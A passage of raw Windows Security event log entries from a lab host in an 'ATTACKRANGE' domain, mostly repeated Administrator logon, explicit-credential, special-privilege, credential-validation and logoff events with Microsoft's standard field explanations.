Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245355
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x93DCE

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245354
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x93DCE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245353
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245352
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245351
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x41c
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245350
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x925DF

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245349
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x925DF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245348
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245347
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245346
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x91F4F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245345
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8D660

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245344
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8E108

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245343
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x91F4F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245342
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x91F4F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245341
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245340
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245339
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x91A22

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245338
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x91A22

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245337
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x91A22
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245336
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245335
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245334
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8E626

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245333
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8E626

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245332
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8E626
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245331
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245330
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245329
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8E108

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245328
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8E108
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245327
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245326
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245325
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x41c
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:37:22 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245324
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x8D660

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:22 PM
LogName=Security
